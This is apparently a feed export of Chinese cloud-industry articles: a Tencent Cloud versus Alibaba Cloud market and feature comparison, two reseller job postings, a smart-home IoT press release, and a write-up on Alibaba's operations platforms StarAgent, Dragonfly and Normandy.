云服务正在逐步突破互联网市场的范畴,政府、公共管理部门、各行业企业也开始接受云服务的理念,并开始将传统的自建IT方式转为使用公共云服务方式,云服务将真正进入其产业的成熟期。

2. 市场现状

发展阶段:

一个行业大致可以分为四个发展阶段:探索阶段、快速发展阶段、成熟阶段、衰退阶段。

根据2015年Gartner技术成熟度曲线,大部分云计算服务——如:AI云服务,仍处于快速发展期;部分服务——如:SaaS与IaaS,处于成熟期。

为了推进云计算的快速发展,相关支持政策陆续出台。

根据工业和信息化部印发的《云计算发展三年行动计划(2017-2019年)》:计划目标到2019年,我国云计算产业规模达到4300亿元,大量的资本进场将其带入一个高潮。

总体来看,当前我国云计算市场整体规模较小,与全球云计算市场相比有3-5年的差距。虽然整体行业趋于成熟,但渗透率并不高。全球市场中,全球IT总投入大概是3.5万亿美金,其中云计算市场只占到3000亿美金左右,整个市场渗透率只有10%左右,而国内云计算市场渗透率更低。

爱分析首席分析师李喆表示:中国云计算市场渗透率只有5-7%,仍处于相对早期阶段。考虑到国内云服务发展略微滞后的现实,我们认为国内云服务平台仍处于快速发展期的中后阶段。

腾讯云vs阿里云

图1. 2015技术成熟度曲线(Gartner,2015)

市场规模:

据前瞻产业研究院发布的《中国云计算产业发展前景与投资战略规划分析报告》统计数据显示:我国公有云市场保持50%以上的增速。

截止至2017年我国云计算整体市场规模达691.6亿元,增速34.32%。其中,公有云市场规模达到264.8亿元,相比2016年增长55.7%。预计2018-2021年仍将保持快速增长态势,到2021年市场规模将达到902.6亿元,私有云市场规模达426.8亿元,较2016年增长23.8%。预计未来几年将保持稳定增长,到2021年市场规模将达到955.7亿元。

其中,IaaS(基础设施即服务)成为公有云中增速最快的服务类型。

2017年,公有云IaaS市场规模达到148.7亿元,相比2016年增长70.1%。截止2018年6月底,共有301家企业获得了工信部颁发的云服务(互联网资源协作服务)牌照,随着大量地方行业IaaS服务商的进入,预计未来几年IaaS市场仍将快速增长。

PaaS(平台即服务)市场整体规模偏小,2017年仅为11.6亿元,较2016年增加52.6%。SaaS(软件即服务)市场规模达到104.5亿元,与2016年相比增长39.1%。

腾讯云vs阿里云

图2.2015-2021年我国云计算整体市场规模统计及增长情况预测(前瞻产业研究院,2019)

产业链:

当前,人工智能行业已经形成较清晰的产业链。

云计算的上游主要是芯片企业(Intel等)、网络设备提供商(华为,思科等)、网络运营商(中国电信、中国联通等)、储存提供商(EMC、华为等)、服务器提供商(浪潮、华为等)以及操作系统(Vmware,微软等)。

下游主要是不同行业的应用产品。云平台为技术层重要组成部分,国内代表产品有:阿里云、腾讯云、百度云、华为云等。

在人工智能领域,这些云平台主要整合了内容识别、智能语音、人脸识别、自然语言处理等功能,通过云平台、解决方案、SDK接入等形式供下游企业使用。

腾讯云vs阿里云

图3.中国AI产业链(易观,2018)

腾讯云vs阿里云

图4.中国云计算服务重点企业(易观,2018)

产业发展趋势:

AI+云:云平台集中数据和算力,”AI+云”是未来趋势 ——算力、算法和数据是AI不可或缺的 ” 三驾马车 “。

云计算的发展导致了大量数据向云平台集中,而云平台自身就具备强大的计算能力,只要再提交算法给云平台,就满足执行 AI 算法的核心要素。因此,云平台是执行AI算法的上佳选择。所以,通过直接在云平台上增加 AI 处理能力将是未来发展趋势。

云平台为 AI 提供运行平台,AI反过来提升云计算 “智商”。目前,阿里云、AWS、腾讯云、华为云等均已提供AI计算平台。

安全性能:云应用越多,云安全性将变得更加脆弱,这是一个众所周知的事实。

2018年全球信息安全支出预计达到930亿美元,2017年为864亿美元。在不久的将来,安全问题盛行,云计算行业将期待更多网络安全公司提出新的云安全措施。实现云安全服务的自动化、加速和集成可以重新定义云安全措施。

集中度上升:全球方面,2017年全球公有云市场份额排名前三的是:亚马逊 AWS,微软 Azure 和阿里云。

AWS 占据 54.2%的市场份额,阿里云的全球市场份额从 2016 年的 3.0%上升至 2017 年的 3.7%,领先于第四名谷歌 2.8%的市场份额,全球云计算整体市场集中度进一步提升。

2017年中国公有云服务整体市场份额中,阿里云继续保持市场领军位置,全年营收 11.12 亿美元,市场份额达到 45.5%;腾讯云居第二,营收 2.51 亿美元,市场份额达到 10.3%;中国电信排名第三,市场份额 7.6%;位居第四的金山云,市场份额为 6.5%;亚马逊 AWS首次进入国内前五,市场份额为 5.4%。

基础设施化:移动互联网在过去几年中充分释放了人口红利,现在,“如何继续挖掘数据红利?”,成了持续获客的保证。这就要求互联网云基础设施不仅能够提供虚拟机、存储、弹性扩容资源,而且要具备高效处理应用的能力,更需要像人工智能这样的智能底座来支持和经营数据。

在Cloud 1.0时代,主要以计算、存储、网络、数据库等资源型服务为主,要满足高并发、弹性扩缩容的需求。而这些需求通常基于高可用的软件和通用的硬件来实现。现在正是从Cloud 1.0向Cloud 2.0过渡的关键期,最大的变化是:基础设施要以应用为中心,以提供能力服务为主。

标准统一:目前,众多标准组织都把云的互操作、业务迁移和安全列为云计算3个最重要的标准化方向。

类似于今天电信网络中不同运营商同类业务间的互联互通,未来云提供商之间也必然实现互联,实现互操作,这也是建立更加合理的市场竞合关系的必要条件。

云平台之间的互操作将促进云计算产业链的进一步细分,并产生更加灵活和多样化的业务形式。互操作将产生众多云间接口的标准化需求,如:计算云与存储云间的接口、软件云与基础设施云间的接口等。

云间的业务迁移是维护市场秩序,避免业务垄断和用户锁定的重要基础。云间的业务迁移需要在提供同类云计算业务的提供商之间,定义标准化的业务、资源、数据描述方式,这也产生了大量的标准需求。

在云计算发展面临的挑战中,安全和隐私排在了首位。

云安全被认为是决定云计算能否生存下去的关键问题,因此也自然成为标准化所关注的重点。当然,安全问题需要从法律、监管、信任体系等多个角度入手去解决,标准化只是其中的一个方面。

从技术的角度看,云的安全问题带来了对云平台及客户端安全防护、数据加密、监管接口等多方面的标准化需求。

随着市场的扩大与业务的发展,云计算的标准化成为大势所趋。从长远来看,如果云计算要成为像电信、电力这样的公共服务行业,形成巨大的产业规模,实现标准化是众多厂商必然的选择。

目前,云计算的标准化虽然成果寥寥,但总体上呈现出一种“自下而上”的趋势,即先从一些具体领域或细节性技术入手,逐步形成总体的标准框架。在这个标准体系中,云的外部特性与接口,包括互操作、业务迁移与安全将是标准化的重要方向。

3. 小结

云平台正处在快速发展期到成熟期过渡阶段,未来发展趋势为:以业务为核心的云基础设施,人工智能与云服务的结合,安全性能的提高,标准的统一。

随着底层核心技术发展逐渐停滞,云平台市场在产品形式和服务内容上呈现出同质化,未来梯队划分将变得更加明显,头部产品存在无限可能,并将逐渐形成行业规范。

目前中国企业云计算渗透率为5-7%,与国外一些国家相比还有很大差距。但得益于政策额红利和中国企业的数字化转型,市场潜力空间较大仍然很大。伴随云平台服务质量的提高,价格的下降,行业扶持政策落实,未来以云平台为基础的产品及应用将迎来迅速发展。

二、竞品分析

1. 竞品确定

本次竞品分析选择腾讯云阿里云,原因如下:

市场规模

在2017年公有云市场中,阿里云的市场份额达到45.5%,腾讯达到10.3%,分别位于第一和第二。

阿里和腾讯在云计算业务上,是布局最早的互联网公司。

2018年1月,阿里巴巴公布2018财年第三季度财报数据,云计算是阿里增速最猛的业务,呈现三位数增长。2017年阿里云累计营收达到112亿人民币。同年8月,阿里财报显示:云计算付费用户数量已超过100万。

腾讯云并未在财报中直接公布自己的营收情况,但根据自媒体《科技十点见》的推算,腾讯云的年营收预计将达到百亿元级别,这一目标最快将在两年左右实现。

获客渠道

阿里云和腾讯云也有浓厚的生态元素,比如:腾讯云的客户,有不少是腾讯投资过的公司,也有不少是腾讯泛娱乐生态的伙伴。

阿里云最初是因为电商服务器资源有冗余,可以开放,最初的客户是淘宝卖家,他们为了能更好地与淘宝系统对接,将进销存系统率先上云。腾讯云出现,则是因为腾讯在3Q大战后痛定思痛,大力做开放平台。然而,发现许多开发者,“没有能力在短期内建立一个服务用户的平台,就做云来提供服务。

技术实力

云计算与人工智能、大数据、物联网甚至通信等技术都密不可分。要提供公共和综合云服务,就必须具备全面的技术能力。

只有巨头才会同时在多项技术上布局,比如:阿里有首期投资1000亿元的达摩院做底层技术研发;百度在AI、自动驾驶上砸钱;腾讯也成立了各种实验室、研究院。

他们在技术上的前瞻布局,最终会转化为云计算的能力或者产品。

2. 市场定位

右下图可知:腾讯云和阿里云业务上有高度重合的部分。

在主要核心业务中,阿里云除了去年新上线的物联网以外,其余业务与腾讯云一致。

两者的slogan有略微区别:腾讯云企图担任一个连接器,以数据和智能化的方式连接企业。阿里巴巴则充当一个赋能者的姿态,让云计算普惠各行各业。

这个slogan的差异也源自主要用户群体的差异。此外,由于阿里云综合实力较强,平台的定位范围也较腾讯云大。

两者的主要战略目标差距是:阿里云的目标更偏向国际化,并在人工智能和物联网方面打开新的垂直市场。

由于生态的不同,腾讯云的主要使用用户是腾讯泛文娱领域与微信开放平台的合作者,而阿里云的主要用户则是阿里生态的中小电商。但是近两年,两者同时发力产业互联网,将泛互联网、政府及传统企业作为市场的扩展方向。其中阿里云还将物理网的云计算平台作为自身的战略重点。

腾讯云vs阿里云

图5.腾讯云与阿里云简单对比

3. 用户分析

地理区域扩张是腾讯云全球化布局的首要任务。此前腾讯董事长马化腾表示:2018年将继续扩充云基础设施,为客户提供优良服务。根据规划,2018年腾讯云将陆续上线多个区域和可用区,为更多企业和创业者提供集云计算、云数据、云运营于一体的全球云端服务体验。

从腾讯云和阿里云的横向对比来看:目前腾讯云的优势已经开始显现。

2018年3月15日,阿里云宣布其印度尼西亚大区正式开服运营,成为该国第一家在当地运营的国际公共云服务商。这也是阿里云在全球开放服务的第18个区域,此前阿里云已经在欧洲、北美、东南亚、中东等地建设了基础设施。

腾讯云vs阿里云

图6.阿里云、腾讯云和金山云基础设施建设情况对比(前瞻产业研究院,2018)

从腾讯云官网的客户案例数量来看:游戏领域的服务或者企业占比最大,其次是金融、医疗、电商、视频,还有O2O、微信、旅游、移动应用、政务、在线教育。不过这些实例不一定与腾讯云客户数量组成吻合。

相比腾讯云,阿里云官网的客户案例主要集中在电子商务,科技和教育领域,其次是媒体、旅游、制造业、零售等,另外在政府端,阿里云也获得了一定数量的客户。

腾讯云vs阿里云

图7.腾讯云主要细分领域客户数量及主要客户代表(前瞻产业研究院,2018)

4. 使用场景

云平台在人工智能领域提供的服务可以分为:AI框架服务、AI平台服务和AI应用服务。

其中腾讯云和阿里云在框架和平台服务上差别较小,主要是应用场景上的区别。

右下图可知:两者侧重的场景与其主要客户所在领域联系紧密。

阿里云相比腾讯云,与政府和供应链上游联系更为密切。因此,阿里云的亮点也偏向供应链和政府端的解决方案。而腾讯的使用场景主要在取代人工客服和信息验证上,因此侧重在智能语音客服和人脸/图像识别上面。

但是明显的趋势是:随着同质化加剧,双方在技术和数据端差距逐渐缩小。发掘新的应用场景也成为了未来云平台发展的重点突破口。

腾讯云vs阿里云

图8.腾讯云与阿里云主要使用场景对比

5. 核心功能对比

腾讯云vs阿里云

腾讯云vs阿里云

图9. 阿里云和腾讯云的功能对比(夫尼特大人,2018)

阿里云:

弹性计算是阿里云的核心产品,拥有包括:云服务器、专有网络、容器服务、弹性伸缩、负载均衡等9项业务,涵盖用户的每一种选择。

但是,其在计算领域更加专注于底层的的计算能力和稳定性,尤其是近期推出的神龙技术架构,跟AWS的Nitro很类似——都是通过先进的虚拟化技术打破物理机和虚拟机的隔阂。虽然相比AWS,阿里云起步比较晚,但跟AWS这个标杆的距离在不断缩小,给 4.5 分。

在数据库方面,阿里云拥有足够的诚意——满足用户的一切需求,不管是普通用户常用的三大SQL数据库(MsSQL、MySQL、PostgreSQL),还是流行的NoSQL(MongoDB、Redis、Memcache),都为用户提供了服务。

帮助用户更好的使用这些能力同时,对于大数据需要的海量存储,阿里云也提供了对应的产品(PetaData、HBase 以及OceanBase)。值得一提的是自研的POLARDB,官方宣称性能是MySQL数据库的6倍,可惜在Oracle 数据库支持方面有所缺失,要从第三方绕一下,给 4 分。

在存储方面,阿里云提供了对象存储、文件存储、归档存储、块存储和表格存储等多种存储模式,最新的ESSD的随机读写达到了恐怖的100万,给 4 分。

在安全方面,阿里云以云盾为基础,发展出了数十款安全产品,涵盖了WAF、内容过滤、数据加密、DDoS 防护、数据风控等多项功能,阿里本身的安全能力就很出众,在云上同样有保障。给 4.5 分。

在人工智能方面,阿里云以ET大脑为基础,发展了ET工业大脑、ET农业大脑、ET环境大脑、ET医疗大脑等数个AI解决方案,及50多个AI产品。在众多产品体系中,属于阿里云集中力量发展的项目,从落地情况来看,也是国内走在最前列的,给 4 分

在CDN方面,阿里云官方给出的数字是 1500+ 全球节点,带宽储备超过120T。考虑到阿里云本身就是优酷、淘宝最大的CDN服务商,从实际效果来看,还是非常出色的,给 5 分。

在域名服务上,阿里云做的是最好的,其域名业务源自收购的国内的最大的域名供应商万网。不仅提供了基础的域名注册的服务,还针对域名交易的人群,提供了域名交易、域名预定、域名转入等服务,域名管理方面做到了一家成熟企业的优秀标准,给5分。

腾讯云:

腾讯云在基础计算能力的提供上,投入不少精力,包括:标准的云服务器、GPU云服务器、FPGA 云服务器等;在弹性计算上,大量的投入研发和实践,帮助用户更好的使用云计算,给 4 分。

在数据库方面,腾讯云提供了标准的SQL数据库和其特有的TDSQL,针对高速缓存场景的Redis 和Memcached、标准的NoSQL 数据MongoDB ,以及一些适合于大数据的数据库,如:HBase、分布式数据库DCDB。

不过丰富的产品缺没有配套的应用,腾讯云没有针对用户提供数据迁移的服务,会导致用户在使用时的体验不佳。给 3 分。

在存储方面,腾讯云的技术研发略显吃力。只提供了标准的对象存储和云硬盘服务,对于一些不同场景下的需求来说,还是显得不足,给3分。

在安全方面,腾讯云依托大禹网络安全和天御业务安全防护,提供了不少场景化的安全服务。相比之下,腾讯云的产品更加倾向场景化为用户提供服务,给3.5分。

在大数据方面,腾讯云发展出来了大数据基础服务、数据应用和AI三大体系,提供了丰富的技术产品,对于用户来说,也是可以更好的去借助云计算的资源来实现自己的需要,给 4 分

在CDN方面,腾讯云依托腾讯本身的业务,提供了全球1000 多个加速节点,来帮助用户去提升用户体验。不过不知道出于什么原因,腾讯云的CDN 的每次变更,都会有较长的时间才能生效,给 4 分

在域名方面,腾讯云只提供了基础的域名注册服务,只能算个及格。给3分。

腾讯云vs阿里云

图10.阿里云人工智能核心功能(来源阿里云官网)

腾讯云vs阿里云

图11.腾讯云人工智能领域主要功能(来源腾讯云官网)

6. 小结

从这些功能的对比来看:两款产品的主要功能相差不大。

但是,由于产品定位的差异化,导致使用场景方面的不同。

腾讯云比较看重社交、游戏过程中实时大量互动及及时答疑的需求,在功能上就体现为身份核验、语音/图像识别,智能机器人比较有特色;而阿里云注重商家端和政府端的应用,拥有大量的对应解决方案。

经过对过去数年的战略调整,目前两者都将目标客户群体从自身生态圈客户,扩大到泛互联网,泛政府,以及需要数字化转型的传统企业。

在地域方面,腾讯云试图在国内逐渐挑战阿里云的地位,而阿里云则期待以东南亚为突破口逐渐打开国际市场。由于腾讯云技术上和功能上与阿里云仍存在一定差距,未来市占率的挑战之路仍充满荆棘。

]]>
米姆招聘-阿里云电话销售 Mon, 27 May 2019 21:06:17 +0800 1、开拓新市场,发展新客户,建立渠道,增加阿里云销售范围;
2、管理维护客户关系以及客户间的长期合作计划;
3、进行市场变化和对公司产品有合理化反馈。
4、能够很好地计划和执行客户拜访计划,以达到最大的销售目标;

职位要求:
1、优秀的沟通能力,正直自律,自我驱动力强,高成长性;
2、具有渠道、商务拓展相关岗位工作经验优先;
3、互联网及云计算、销售行业相关工作经验优先;
4、具有各行业高端渠道资源优先;
5、具有良好的人际交往和沟通能力,有较强的团队精神,独立工作能力强 ;
6、做事有激情、自信,认真负责,自律性强

可以接受计算机相关专业应届毕业生



简历提交请在主页--表单--简历提交处提交简历

或邮件发送到sw@51mimu.com


]]>
米姆招聘-阿里云技术支持工程师 Mon, 27 May 2019 21:06:17 +0800 1、阿里云售前交流,与阿里云客户沟通,了解客户需求,向客户介绍产品和方案,撰写上云方案和迁移方案;
2、掌握阿里云的产品和方案,为客户提供在线的技术支持
4、有效进行对内、对外项目状态汇总,上报;
5、技术上门服务如:产品故障分析、检测及故障排除、现场快速处理检测维修等;
6、项目文档的输出、整理、归纳及总结;
7、完成上级领导交代的其他工作。

职位要求:
1、本科以上学历,通讯、电子、计算机相关专业毕业,1年以上工作经验,欢迎优秀应届毕业生或实习生投递;
2、计算机网络基础扎实,熟练掌握OSI 7层模型、TCP/IP模型,熟练掌握Windows、Linux操作系统
3、有阿里云、azure、AWS或其他云的运维或使用经验者优先,有相关云技术认证者优先
4、对待工作认真负责,能够承受较强的工作压力、接受短期出差,具有吃苦耐劳的精神;
5、具有良好的职业道德,较强的语言沟通能力,保密意识强,能够适应加班;
6、有责任心、工作积极进取、有开拓能力、创新精神,拥有强烈的团队精神和合作精神。

可以提供培训和学习平台


简历提交请在主页--表单--简历提交处提交简历

或邮件发送到sw@51mimu.com

]]>
携手阿里云IoT 雅观科技打造全屋智能SaaS平台 Mon, 27 May 2019 21:06:17 +0800

携手阿里云IoT 雅观科技打造全屋智能SaaS平台

2019年1月15日,阿里云IoT携手地产头部企业,以及全屋智能行业的领先企业,在北京举办“2019阿里云IoT数字地产峰会”。在峰会上,阿里云宣布和中国联通物联网总公司共同打通联通物联网连接管理平台与阿里云IoT智能生活开放平台,同时联手推出一站式智能连接服务。

雅观科技作为架构在阿里IoT的PaaS层领先企业,受邀参加活动。雅观科技产品副总裁王达峰在会上发表了《携手阿里云IoT 助力地产转型升级》的主题演讲。

1000+场景池 提升人居体验

雅观科技王达峰在现场演讲时,全面讲解了雅观全屋智能平台的建设情况。雅观全屋智能平台基于阿里PaaS层搭建了SI SaaS、物管 SaaS、设备SaaS等基础应用平台,可以根据家庭、社区、长租、养老、酒店、办公等多形态物业,提供满足不同需求的全屋智能解决方案,助力地产公司转型智能化。

物联网IOT

雅观全屋智能定位智能家居及智慧社区行业的安卓系统,利用AI+IoT能力,建设能够跨通讯协议、跨品牌,无限融合、互联互通的开放生态平台。在全屋智能系统中,雅观全屋智能预置了1000+个场景池,覆盖从舒适、安全等基础场景,到儿童关怀、老人护理等个性化垂直场景,提供千人千面的个性化服务。

物联网IOT物联网IOT

雅观全屋智能的场景可以随着用户的使用,不断进行空中升级;雅观也努力建设智能住宅和智慧社区的无缝打通,进行快递收发、停车管理、电梯调度、访客管理等全链路整合优化,提升人居体验;同时,雅观全屋智能也可以通过用户运营系统,结合社区与周边商业,帮助地产商成为用户生活方式、生活服务的运营商,这也是雅观此次在CES2019展上大吸眼球的Smart O2O技术。

雅观SaaS平台成为典型案例

活动下午,雅观科技联合创始人田陌晨受邀联合启动《2019中国智能家居发展白皮书——从智能单品到全屋智能》发布仪式。《2019中国智能家居发展白皮书——从智能单品到全屋智能》正式发布。白皮书由鸿雁电器牵头,阿里云IoT事业部、中国智能家居产业联盟CSHIA等携手全屋智能产业链上下游企业联合编制,对全屋智能生态现状和未来发展进行深入的分析与展望。

中国智能家居产业联盟执行秘书长(CSHIA)王胜阳在现场对白皮书进行解读。他提到,智能家居行业在变革中快速发展,新流量入口被行业巨头全面布局,市场规模化应用的智能场景快速落地。智能家居服务体系迎来模式创新,智能家居行业向全屋智能的升级与聚焦,为地产、装修公司、设备商、平台企业及集成服务商的转型升级带来新的机遇。

作为全屋智能SaaS解决方案平台提供者,雅观科技成为白皮书典型案例。白皮书详细介绍了雅观的全链路SaaS服务及与阿里协同构造的物联网空间生态。雅观科技智能家居SaaS平台通过阿里IoT设备接口,实现设备的快速生态融合;基于阿里设备生态的泛数据入口获取全链条数据,包括从安装SI到用户使用行为;基于充分的数据来源建立创新型业务,提升产业链效率。

雅观全屋智能基于阿里云IoT事业部的SDS框架进行智能家居开发,是阿里云架构落地的排头兵。雅观全屋智能把制造商由原来的硬件销售升级为“硬件+服务”模式,通过助力地产公司转型智能化,提升B端管理效率、促进C端住房销售、催化地产商业增值。

截止目前,凭借独特的行业定位和超强的技术能力、市场能力,雅观已完成了60余个智慧社区与全屋智能项目的打造,已经对接了近百家设备企业,接入了1000+SKU,和包括万科、富力等众多科技地产商企业达成了合作,受到行业伙伴的高度认可。

]]>
阿里巴巴智能化运维体系演进与建设 Mon, 27 May 2019 21:06:17 +0800

阿里巴巴智能化运维体系演进与建设


引言:DevOps 的概念提出接近10年了,提升协作效率,降低开发成本,更稳健可持续的业务运营是DevOps的主旋律。根据2016年DevOps调查报告显示,一个低效的IT组织跟一个高效的IT组织相比,差距可能是200倍,换句话说低效组织发布一个功能,高效组织可能已经发布了200个功能;故障恢复的效率差距可能是几十倍,低效组织花费几个小时恢复的故障,高效组织可能几分钟就搞定了。

在日益激烈的商业竞争环境下,这么低效的IT组织注定在商业上也是要失败的。因为现在是快鱼吃慢鱼的时代。去年Gartner又提出了AIOps的概念,就是用基于算法来提升运维效率,国内很多公司在各个运维的场景都有了不同程度的应用。

阿里巴巴对DevOps和AIOps有自己的理解和实践,外界也比较关注拥有众多业务的庞大组织,是如何开展DevOps的? 带着这些问题,阿里集团基础架构事业群运维中台负责人如柏,在2017杭州云栖大会云效《企业高效研发实践专场》上,详细介绍了阿里运维体系的演进和在智能化运维方面的工作,希望能给大家带来一些启发和借鉴。

嘉宾简介
毛茂德(花名:如柏):阿里集团基础架构事业群运维中台负责人。主要负责云效2.0智能运维平台建设、IDC 建设、网络建设、基础数据库运维、大数据运维,研发协同等事项,并主导设计构建高可靠、高并发、大规模的基础运维平台和应用运维平台。十余年来坚持不懈的追求研发、测试、运维效率提升,推动DevOps实施落地。现在正致力于打造基于混合云的应用运维无人值守解决方案,以及自动化、数据化、智能化应用运维解决方案。

阿里巴巴智能化运维体系演进与建设

阿里巴巴是怎么看运维的?
阿里大致也是经历了这么几个阶段:从最开始的人肉运维, 到简单的工具、自动化, 到系统化和平台的过程, 自动化到一定程度后,开始探索智能化,无人化运维这些领域, 并在阿里的多个运维系统里有所沉淀。
在这个演进过程中,我们始终秉承一种原则, 能用机器去做的就不要让人去做,自动化一切可以自动化的。很多简单重复的日常运维操作,开始由研发通过运维平台来完成。

阿里巴巴智能化运维体系演进与建设
阿里巴巴运维能力分层图

上图是阿里对运维领域的大致分层。每个层都会有不同平台/系统来承载,运维团队整体上会帮助业务团队搞定资源,实现高可用的架构,资源成本优化等问题。有了资源,业务就可以部署代码,对外提供服务, 代码上线后会有各种运行时的变更操作, 当然也会有横向的运维操作, 比如操作系统更新,网络升级,DNS,IP等等变更操作。监控也是分层的,横向的有服务器的监控,网络监控, IDC监控, 纵向来看, 有面向业务的监控,确保系统的各种异常能被检测到,并及时提供多种途径的报警。当业务真的发生故障时,我们也有系统需要能及时的恢复故障,定位故障,甚至能故障自愈,故障预测等。
针对双11这样的大型活动,我们会做大规模全链路的压测模拟,来发现各种系统异常,为大促做好充分准备。我们也有定期的故障演练系统,来不断提升故障恢复速度。横向,纵向之外,我们还有规模化的运维,这个在大促和业务快速扩张时非常有用。
运维是很大的一个概念,里面有很多专业,这5个能力层次每一层就有很多产品组成。从云效2.0-智能化运维平台(以下简称:StarOps)产品的角度来看, 我们可以划分为两个平台,基础运维平台和应用运维平台。基础运维平台是统一的,在阿里有且只有一个,内部叫StarAgent。但是应用类型比较多,每个业务都有特殊性,所以允许除了通用的“应用运维平台”外,有多个面向业务的特色的“应用运维平台”,但也都是构建在通用的“应用运维平台”之上,内部叫Normandy。

阿里巴巴智能化运维体系演进与建设

StarOps当然不会包含所有的运维能力。但对于互联网企业或者传统企业+互联网的场景,大部分公司需要的是运维能力,StarOps会全部包含,主要集中在基础运维能力(服务器管理)到应用运维能力(PaaS平台)上。而且可以根据用户自身的需求来自定义选择。两个平台本身也具备扩展能力,可以根据我们的SDK来扩展企业自身的业务特色。
除了运维平台本身外,还包含软性的一些运维规范,故障治理的原则等。另外,我们在智能化运维方面已经有了实践, 通过算法平台融入到了两个平台的能力上。在界面上,我们提供Web, API,命令行工具,手机客户端,甚至提供大屏产品。

基础运维平台
基础运维平台可以说是IT运维的基础设施, 阿里非常重视运维基础设施的建设,这个系统是对众多运维系统共性部分的抽象,对上层的运维业务建设至关重要。 在前面提到的5个运维能力层次中的所有系统都要依赖他, 所以重要性也尤其突出。基础运维平台主要功能是服务器访问的通道(命令通道、文件通道、数据通道),职责是维护企业所有服务器访问的安全,这里的服务器包括物理机、虚拟机和容器。

StarOps产品里主要包含有三大系统:1.堡垒机 2.StarAgent 3. 蜻蜓

堡垒机
阿里巴巴智能化运维体系演进与建设
阿里巴巴堡垒机

堡垒机,也可以叫跳板机, 是服务器访问的一道屏障。阿里的堡垒机是全球部署的,具备统一的账号/权限/密钥等管理,访问控制,高危拦截,操作录屏等功能, 最高可以承载5000人同时在线, 并通过了ISO27001等认证。

StarAgent
StarOps套件中的基础运维平台,就是在阿里巴巴运维多年实践上沉淀的结果。这个产品的名字叫StarAgnet,它可以当之无愧的说是阿里巴巴IT运维的基础设施。
从1万服务器发展到10万台,又逐步达到百万级服务器,基础设施重要性并不是一开始就被意识到的,是逐渐被发现的过程。无论是运维系统稳定性、性能、容量显然已经无法满足服务器数量和业务的快速增长。在2015年我们做了架构升级,StarAgent日均的访问量从1000万提升到了1亿多,系统稳定性从90%提升到了99.995%。
稳定性另外体现在高可用上,我们内部有定期的断网演练,任何一个机房网络断掉,自身服务终止影响面都控制在一定范围,都不会对整体的稳定性产生影响, 只要网络、服务恢复,受影响的集群就自动恢复。这种演练在内部是常态进行的,保证我们每个版本的代码都保持健壮。
StarAgent 是安全的,我们有非常多的安全策略,比如命令执行的范围控制,账号控制,白名单、黑名单控制,高危命令审计/拦截,全链路加密签名等,在阿里内部安全部有定期的攻防演练,StarAgent无疑就是演练重点。
在阿里内部如果说运维效率比较高,原因之一就是我们的StarAgent基本上统一了运维的通道,任何BU任何系统都不会擅自也不允许去建设自己的通道,统一的好处就是可以统一监管,同时也减少了不必要的重复建设。每个业务运维系统只要建设自己的业务即可。
刚才提到了基础设施影响面比较大,所以在建设的时候必须有预见性,在性能方面我也对未来5年服务器和业务的增长作出了预估,使我们的这次架构升级至少5年内不需要再次重构, 我们可以在此架构之上构建更多的业务,不会让稳定性和性能羁绊运维业务的发展。目前StarAgent可以满足每分钟55万次调用,几乎对外部系统没有强依赖,数据库、缓存即使失败也不会对系统造成非常重大的影响。
StarAgent的架构是灵活的,新的架构是基于插件的模式,插件可以是静态的(脚本、命令),也可以是动态的(后台服务),Agent Core 会保证这些插件执行的安全,同时又保证在一定的资源消耗之内, 否则就会杀掉(重启)这个插件进程,插件的开发者当然会收到消息。插件的使用者可以决定在自己的机器上(业务范围内)运行哪些插件,或者停用哪些插件,以及插件需要的版本,默认情况下插件的版本会自动更新。默认的插件当然是平台来维护的, 目前在阿里内部我们已经有了150多个插件,其中包括监控、日志服务、调度、文件分发等。每个插件都可以看作是一个运维系统,而StarAgent的职责就是守护这些运维系统的执行,保证全集团服务器和业务的安全运行。
插件的模式同时也简化了Agent本身的运维,Agent Core 是没有任何业务属性的, 职责清晰简单,只做插件的维护和必要的自运维, 所以在版本稳定后,基本上不需要太频繁的更新, 这也符合装机镜像3个月更新一次的频率。
对于一个运维百万级服务器的基础平台,本身的运维负担也是比较重的,以前至少需要3个专职的运维,尤其是阿里的网络、服务器环境比较复杂,每天答疑工作也不少。但很多工作其实可以总结出规律,提炼抽象,让机器去做, 所以目前新版的StarAgent自运维能力已经达到95%,不再需要专职的运维了。
其他功能诸如Web终端,分布式定时任务等,在云效使用手册里可以找到。不再赘述。

手册查看:云效微信号菜单栏-云效产品-使用指南

蜻蜓
蜻蜓是基于P2P的文件分发系统,不管是什么类型的业务运维都需要文件分发,所以也是基础设施之一。它的好处是保护数据源,加速分发速度,节约跨IDC和跨国的带宽。
下图是一个500MB文件分发的对比测试,X轴是客户端数量,Y轴是分发时长,可以看出传统的文件分发系统随着客户端数量的增加,时长就会增加,而且到1200客户端后就没有数据了, 因为数据源已经被打爆, 在该测试中蜻蜓可以完美的支持到7000客户端,分发时长基本保持在10秒左右。

阿里巴巴智能化运维体系演进与建设

在阿里内部,典型的应用场景包括:软件安装包、配置文件、数据文件、静态文件、镜像等。镜像包括了物理机镜像、虚拟机镜像、容器镜像。对于容器可以支持Docker,Pouch(阿里自研的容器技术),Hyper等。架构上非常灵活,没有侵入性,不需要对容器技术做任何改造。
高级的功能特性还包括断点续传、智能网络流控、智能磁盘流控、动态压缩、镜像预热等。
  
在阿里内部这个系统的业务覆盖率在95%以上,月均分发量达到了15亿次,容量达到3000TB以上。蜻蜓同时也是双11背后的支撑技术,在双11前,需要完成15GB的数据文件分发到超过1万台服务器上。

应用运维平台
StarOps套件中另一个是应用运维平台,是架构在基础平台之上的混合云PaaS平台,在内部我们叫Normandy。
应用运维平台总体上来说是有三大组成部分: 资源管理、发布部署、日常运维。
一个应用要正常运行,需要资源,资源不仅仅是服务器(物理机、虚拟机、容器), 还包括网络(VIP、SLB、DNS等),存储,数据库,中间件等,凡是一个应用正常运行需要的所有的物理资源和服务资源都包括。

阿里巴巴智能化运维体系演进与建设

Normandy是通过资源编排实现资源的provision(生产)的,通常也被叫做Infrastructure as Code。通过代码的形式将一个应用需要的所有的物理资源和服务资源,以及他们之间的关系都编写在一段类JSON的代码里, 并保存在CMDB中,而且是版本化的, 也就是说资源的任何一次变更改动都会被记录在案。 这也就形成了用户(通常就是应用的研发)对应用部署的基础架构(infrastrucure)的基本需求或者定义。
Normandy对于资源的需求和资源实际情况(通常称为资源实例Instance)会做对比(difference),如果资源实例和资源的用户的定义不同,则会触发资源的生产(provision)直到资源的需求被满足。这也可以被称为自动化的资源生产,也可以被称为资源管理的自愈。如果仅仅就服务器来说,它的功能和Kubernates的ReplicaController是一致的。
既然是混合云PaaS平台当然是支持企业内部IDC的同时也支持阿里云,所以应用可以是部署在自有IDC也可以部署在阿里云,也可以一部分在自有IDC,一部分在阿里云上。
